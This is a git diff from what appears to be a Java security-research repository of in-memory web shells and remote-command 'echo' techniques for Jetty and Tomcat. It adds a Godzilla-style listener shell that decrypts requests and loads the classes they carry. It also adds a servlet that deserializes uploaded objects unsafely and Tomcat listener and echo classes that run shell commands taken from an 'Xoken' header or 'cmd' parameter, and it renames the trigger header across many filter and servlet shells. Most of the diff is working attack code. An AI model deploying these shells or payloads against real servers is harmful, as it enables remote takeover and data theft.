a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/memshell/ListenerGodzilla.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/memshell/ListenerGodzilla.java new file mode 100644 index 0000000..e17ce11 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/memshell/ListenerGodzilla.java @@ -0,0 +1,160 @@ +package org.example.jetty.memshell; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +/** + * @author Whoopsunix + */ +public class ListenerGodzilla implements InvocationHandler { + public static String key; // key + public static String pass; + public static String md5 = md5(pass + key); + + public Object invoke(Object proxy, Method method, Object[] args) { + if (method.getName().equals("requestInitialized")) { + run(args[0]); + } + return null; + } + + public Object getResponse(Object httpServletRequest) throws Exception{ + return null; + } + + /** + * tomcat Listener + */ +// public Object getResponse(Object httpServletRequest) throws Exception { +// Object request = getFieldValue(httpServletRequest, "request"); +// Object httpServletResponse = getFieldValue(request, "response"); +// return httpServletResponse; +// } + + public void run(Object sre) { + try { + Object httpServletRequest = invokeMethod(sre, "getServletRequest", new Class[]{}, new Object[]{}); + Object session = invokeMethod(httpServletRequest, "getSession", new Class[]{}, new Object[]{}); + + Object response = getResponse(httpServletRequest); + + String p = (String) invokeMethod(httpServletRequest, "getParameter", new Class[]{String.class}, new Object[]{pass}); + byte[] data = base64Decode(p); + data = x(data, false); + Object payload = invokeMethod(session, "getAttribute", new Class[]{String.class}, new Object[]{"payload"}); + if (payload == null) { + invokeMethod(session, "setAttribute", new Class[]{String.class, Object.class}, new Object[]{"payload", defClass(data)}); + } else { + invokeMethod(httpServletRequest, "setAttribute", new Class[]{String.class, Object.class}, new Object[]{"parameters", data}); + java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); + Class cls = (Class) invokeMethod(session, "getAttribute" , new Class[]{String.class}, new Object[]{"payload"}); + Object f = cls.newInstance(); + f.equals(arrOut); + f.equals(httpServletRequest); + Object writer = invokeMethod(response, "getWriter", new Class[]{}, new Object[]{}); + invokeMethod(writer, "write", new Class[]{String.class}, new Object[]{md5.substring(0, 16)}); + f.toString(); + invokeMethod(writer, "write", new Class[]{String.class}, new Object[]{base64Encode(x(arrOut.toByteArray(), true))}); + invokeMethod(writer, "write", new Class[]{String.class}, new Object[]{md5.substring(16)}); + } + } catch (Throwable e) { + + } + } + + public Class defClass(byte[] classBytes) throws Throwable { + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defMethod.setAccessible(true); + return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception e) { + return null; + } + } + + public static String md5(String s) { + String ret = null; + try { + java.security.MessageDigest m; + m = java.security.MessageDigest.getInstance("MD5"); + m.update(s.getBytes(), 0, s.length()); + ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); + } catch (Exception e) { + } + return ret; + } + + public static String base64Encode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); + value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + return method.invoke(obj, args); + } +} diff --git a/MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java similarity index 100% rename from MemShellAndRceEcho/JettyDemo/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/servlet/Base64DeSerializerServlet.java diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/servlet/BinaryDeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/servlet/BinaryDeSerializerServlet.java new file mode 100644 index 0000000..b1e1589 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/servlet/BinaryDeSerializerServlet.java @@ -0,0 +1,63 @@ +package org.example.jetty.servlet; + +import org.apache.commons.fileupload.FileItem; +import org.apache.commons.fileupload.FileItemFactory; +import org.apache.commons.fileupload.disk.DiskFileItemFactory; +import org.apache.commons.fileupload.servlet.ServletFileUpload; + + +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.util.Collection; +import java.util.Iterator; + +public class BinaryDeSerializerServlet extends HttpServlet { + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) { + String cmd = req.getParameter("cmd"); + System.out.println(cmd); + } + + @Override + protected void doPost(HttpServletRequest request, HttpServletResponse response) { + try { + // 检查请求是否包含文件上传 + if (ServletFileUpload.isMultipartContent(request)) { + // 创建文件项目工厂 + FileItemFactory factory = new DiskFileItemFactory(); + + // 创建上传处理器 + ServletFileUpload upload = new ServletFileUpload(factory); + + // 解析请求,获取文件项集合 + @SuppressWarnings("unchecked") + Collection items = upload.parseRequest(request); + + Iterator iterator = items.iterator(); + while (iterator.hasNext()) { + FileItem item = iterator.next(); + + // 判断是否为普通表单字段还是文件上传字段 + if (!item.isFormField()) { + // 获取上传文件的输入流 + InputStream inputStream = item.getInputStream(); + + // 使用对象输入流进行反序列化 + ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); + Object deserializedObject = objectInputStream.readObject(); + objectInputStream.close(); + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + +} + + + diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java new file mode 100644 index 0000000..bff2b82 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java @@ -0,0 +1,47 @@ +//package org.example.jetty.utils; +// +//import me.gv7.tools.josearcher.entity.Blacklist; +//import me.gv7.tools.josearcher.entity.Keyword; +//import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; +//import org.example.jetty.memshell.JettyListenerThreadLoader; +//import com.ppp.tools.ser.CC4Generator; +// +//import java.util.ArrayList; +//import java.util.List; +// +///** +// * @author Whoopsunix +// */ +//public class PayloadMake { +// public static void main(String[] args) throws Exception { +// cc4(); +// } +// +// public static void cc4() throws Exception { +// Class msmClass = JettyListenerThreadLoader.class; +// CC4Generator cc4Generator = new CC4Generator(); +// String payload = cc4Generator.make(msmClass); +// System.out.println(payload.length()); +// cc4Generator.makeFile(msmClass, "dev/test.bin"); +// } +// +// public void searchJetty() { +// //设置搜索类型包含Request关键字的对象 +// List keys = new ArrayList(); +// keys.add(new Keyword.Builder().setField_type("Request").build()); +// //定义黑名单 +// List blacklists = new ArrayList(); +// blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); +// //新建一个广度优先搜索Thread.currentThread()的搜索器 +// SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys); +// // 设置黑名单 +// searcher.setBlacklists(blacklists); +// //打开调试模式,会生成log日志 +// searcher.setIs_debug(true); +// //挖掘深度为20 +// searcher.setMax_search_depth(20); +// //设置报告保存位置 +// searcher.setReport_save_path("/tmp/"); +// searcher.searchObject(); +// } +//} diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/webapp/WEB-INF/web.xml b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..0338de7 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxJettyDemo/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/pom.xml b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/pom.xml new file mode 100644 index 0000000..71632dd --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/pom.xml @@ -0,0 +1,145 @@ + + JavaxTomcatDemo + com.demo + 1.0 + 4.0.0 + war + JavaxTomcatDemo + + + + + + org.apache.tomcat + tomcat-catalina + + + 8.0.53 + + + + + commons-fileupload + commons-fileupload + 1.5 + + + javax.servlet + servlet-api + 2.5 + + + javax.servlet.jsp + jsp-api + 2.2 + + + + com.unboundid + unboundid-ldapsdk + 3.1.1 + + + org.apache.commons + commons-collections4 + 4.0 + + + commons-collections + commons-collections + + + 3.2.1 + + + + com.mchange + c3p0 + 0.9.5.2 + + + com.alibaba + fastjson + 1.2.83 + + + + com.ppp.tools + Utils + 1.0 + + + + me.gv7.tools + java-object-searcher + 0.1.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + src/main/java + + **/*.properties + **/*.xml + + + + src/main/resources + + **/*.properties + **/*.xml + + false + + + JavaxTomcatDemo + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/echo/TomcatEcho.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/echo/TomcatEcho.java similarity index 55% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/echo/TomcatEcho.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/echo/TomcatEcho.java index f1be0fd..2af87d7 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/echo/TomcatEcho.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/echo/TomcatEcho.java @@ -1,5 +1,6 @@ package com.demo.echo; +import java.io.InputStream; import java.lang.reflect.Field; /** @@ -22,18 +23,17 @@ * 9.0.65 */ public class TomcatEcho { - static { + private static String HEADER = "Xoken"; + private static String PARAM = "cmd"; + + public TomcatEcho() { try { ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field field = threadGroup.getClass().getDeclaredField("threads"); field.setAccessible(true); Thread[] threads = (Thread[]) field.get(threadGroup); - boolean isEcho = false; - for (int i = 0; i < threads.length; i++) { - if (isEcho) break; - // Thread 筛选 Thread thread = threads[i]; if (thread == null) @@ -53,41 +53,57 @@ public class TomcatEcho { java.util.List processors = (java.util.List) getFieldValue(global, "processors"); for (int j = 0; j < processors.size(); j++) { - if (isEcho) break; - Object processor = processors.get(j); Object req = getFieldValue(processor, "req"); Object response = req.getClass().getMethod("getResponse").invoke(req); - String header = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, "X-Token"); - if (header != null && !header.isEmpty()) { - String[] cmd = null; - String os = System.getProperty("os.name").toLowerCase(); - if (os.contains("win")) { - cmd = new String[]{"cmd.exe", "/c", header}; - } else { - cmd = new String[]{"/bin/sh", "-c", header}; - } - String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - // doWrite - response.getClass().getMethod("setStatus", Integer.TYPE).invoke(response, 200); - try { - response.getClass().getDeclaredMethod("doWrite", java.nio.ByteBuffer.class).invoke(response, java.nio.ByteBuffer.wrap(result.getBytes())); - } catch (NoSuchMethodException e) { - Class clazz = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); - Object byteChunk = clazz.newInstance(); - clazz.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(byteChunk, result.getBytes(), 0, result.getBytes().length); - response.getClass().getMethod("doWrite", clazz).invoke(response, new Object[]{byteChunk}); - } + Object header = req.getClass().getMethod("getHeader", String.class).invoke(req, HEADER); + Object parameters = getFieldValue(req, "parameters"); + + String result = null; + if (header != null) { + result = exec((String) header); + } else if (parameters != null) { + String param = parameters.getClass().getMethod("getParameter", String.class).invoke(parameters, PARAM).toString(); + result = exec(param); + } - isEcho = true; + // doWrite + response.getClass().getMethod("setStatus", Integer.TYPE).invoke(response, 200); + try { + response.getClass().getDeclaredMethod("doWrite", java.nio.ByteBuffer.class).invoke(response, java.nio.ByteBuffer.wrap(result.getBytes())); + } catch (NoSuchMethodException e) { + Class clazz = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); + Object byteChunk = clazz.newInstance(); + clazz.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(byteChunk, result.getBytes(), 0, result.getBytes().length); + response.getClass().getMethod("doWrite", clazz).invoke(response, new Object[]{byteChunk}); } + return; } } } catch (Exception e) { - // 测试 + } + } + + public static String exec(String str) throws Exception { + String[] cmd; + if (System.getProperty("os.name").toLowerCase().contains("win")) { + cmd = new String[]{"cmd.exe", "/c", str}; + } else { + cmd = new String[]{"/bin/sh", "-c", str}; + } + InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + return exec_result(inputStream); + } + public static String exec_result(InputStream inputStream) throws Exception { + byte[] bytes = new byte[1024]; + int len; + StringBuilder stringBuilder = new StringBuilder(); + while ((len = inputStream.read(bytes)) != -1) { + stringBuilder.append(new String(bytes, 0, len)); } + return stringBuilder.toString(); } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java similarity index 95% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java index 559a79d..932d5ca 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java @@ -14,7 +14,7 @@ */ public class TomcatExecThreadListener implements InvocationHandler { - private static String HEADER = "X-Token"; + private static String HEADER = "Xoken"; private static Object[] applicationEventListenersObjects; private static List applicationEventListeners; private static Boolean flag = false; @@ -159,7 +159,7 @@ public static Object getTargetObject(String className) throws Exception { breakObject.add(System.identityHashCode(breakObject)); // 原始类型和包装类都不递归 - HashSet breakType = new HashSet<>(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); @@ -181,8 +181,8 @@ public static Class getTargetClass(String className, List activeCla } public List getActiveClassLoaders() throws Exception { -// List activeClassLoaders = new ArrayList<>(); - Set activeClassLoaders = new HashSet<>(); +// List activeClassLoaders = new ArrayList(); + Set activeClassLoaders = new HashSet(); // 加载当前对象的加载器 activeClassLoaders.add(this.getClass().getClassLoader()); @@ -205,7 +205,7 @@ public List getActiveClassLoaders() throws Exception { activeClassLoaders.add(threads[i].getContextClassLoader()); } - return new ArrayList<>(activeClassLoaders); + return new ArrayList(activeClassLoaders); } /** diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/Tomcat6FilterThreadMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/Tomcat6FilterThreadMS.java similarity index 99% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/Tomcat6FilterThreadMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/Tomcat6FilterThreadMS.java index 257ee59..9647356 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/Tomcat6FilterThreadMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/Tomcat6FilterThreadMS.java @@ -20,7 +20,7 @@ public class Tomcat6FilterThreadMS implements Filter { private static String NAME = "TomcatServletThreadMS"; private static String pattern = "/WhoopsunixShell"; - private static String header = "X-Token"; + private static String header = "Xoken"; private static HttpServletRequest request; private static HttpServletResponse response; diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterJMXMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterJMXMS.java similarity index 99% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterJMXMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterJMXMS.java index 8c3b70a..a21842d 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterJMXMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterJMXMS.java @@ -20,7 +20,7 @@ public class TomcatFilterJMXMS implements Filter { private static String NAME = "TomcatServletThreadMS"; private static String pattern = "/WhoopsunixShell"; - private static String header = "X-Token"; + private static String header = "Xoken"; public TomcatFilterJMXMS() { diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterThreadMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterThreadMS.java similarity index 99% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterThreadMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterThreadMS.java index 951512f..204d801 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterThreadMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterThreadMS.java @@ -15,7 +15,7 @@ public class TomcatFilterThreadMS implements Filter { private static String NAME = "Whoopsunix"; private static String pattern = "/WhoopsunixShell"; - private static String header = "X-Token"; + private static String header = "Xoken"; private static HttpServletRequest request; private static HttpServletResponse response; diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterWebAppMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterWebAppMS.java similarity index 99% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterWebAppMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterWebAppMS.java index 6cd0b82..f264ce0 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterWebAppMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterWebAppMS.java @@ -16,7 +16,7 @@ public class TomcatFilterWebAppMS implements Filter { private static String NAME = "TomcatServletThreadMS"; private static String pattern = "/WhoopsunixShell"; - private static String header = "X-Token"; + private static String header = "Xoken"; public TomcatFilterWebAppMS() { diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerJMXMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerJMXMS.java similarity index 87% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerJMXMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerJMXMS.java index 531b2fc..0da74a3 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerJMXMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerJMXMS.java @@ -1,6 +1,7 @@ package com.demo.memshell.exec; import com.sun.jmx.mbeanserver.NamedObject; +import org.apache.catalina.connector.Response; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; @@ -17,7 +18,8 @@ * Tomcat 7 8 9 */ public class TomcatListenerJMXMS implements ServletRequestListener { - private static String header = "X-Token"; + private static String HEADER = "Xoken"; + private static String PARAM = "cmd"; public TomcatListenerJMXMS() { } @@ -54,13 +56,20 @@ public void requestDestroyed(ServletRequestEvent servletRequestEvent) { public void requestInitialized(ServletRequestEvent servletRequestEvent) { try { HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequestEvent.getServletRequest(); - String cmd = httpServletRequest.getHeader(header); - if (cmd == null) { + String cmd = httpServletRequest.getHeader(HEADER); + String parameter = httpServletRequest.getParameter(PARAM); + String result; + if (cmd != null) { + result = exec(cmd); + } else if (parameter != null) { + result = exec(parameter); + } else { return; } - String result = exec(cmd); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) getFieldValue(httpServletRequest, "request"); - PrintWriter printWriter = request.getResponse().getWriter(); + Response response = request.getResponse(); + response.setStatus(200); + PrintWriter printWriter = response.getWriter(); printWriter.println(result); } catch (Exception e) { diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerThreadMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerThreadMS.java similarity index 99% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerThreadMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerThreadMS.java index 0e80846..607f913 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerThreadMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerThreadMS.java @@ -16,7 +16,7 @@ public class TomcatListenerThreadMS implements ServletRequestListener { private static HttpServletRequest request; private static HttpServletResponse response; - private static String header = "X-Token"; + private static String header = "Xoken"; public TomcatListenerThreadMS() { diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerWebAppMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerWebAppMS.java similarity index 98% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerWebAppMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerWebAppMS.java index 2673fa3..017064f 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerWebAppMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatListenerWebAppMS.java @@ -14,7 +14,7 @@ * Tomcat 8 9 */ public class TomcatListenerWebAppMS implements ServletRequestListener { - private static String header = "X-Token"; + private static String header = "Xoken"; public TomcatListenerWebAppMS() { } diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletJMXMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletJMXMS.java similarity index 99% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletJMXMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletJMXMS.java index d961e69..6ae4740 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletJMXMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletJMXMS.java @@ -17,7 +17,7 @@ public class TomcatServletJMXMS implements Servlet { private static String NAME = "Whoopsunix"; private static String pattern = "/WhoopsunixShell"; - private static String header = "X-Token"; + private static String header = "Xoken"; public TomcatServletJMXMS() { diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletThreadMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletThreadMS.java similarity index 99% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletThreadMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletThreadMS.java index 217663f..0832733 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletThreadMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletThreadMS.java @@ -16,7 +16,7 @@ public class TomcatServletThreadMS implements Servlet { private static String NAME = "TomcatServletThreadMS"; private static String pattern = "/WhoopsunixShell"; - private static String header = "X-Token"; + private static String header = "Xoken"; private static HttpServletRequest request; private static HttpServletResponse response; diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletWebAppMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletWebAppMS.java similarity index 99% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletWebAppMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletWebAppMS.java index c804d66..f537996 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletWebAppMS.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatServletWebAppMS.java @@ -15,7 +15,7 @@ public class TomcatServletWebAppMS implements Servlet { private static String NAME = "Whoopsunix"; private static String pattern = "/WhoopsunixShell"; - private static String header = "X-Token"; + private static String header = "Xoken"; public TomcatServletWebAppMS() { diff --git 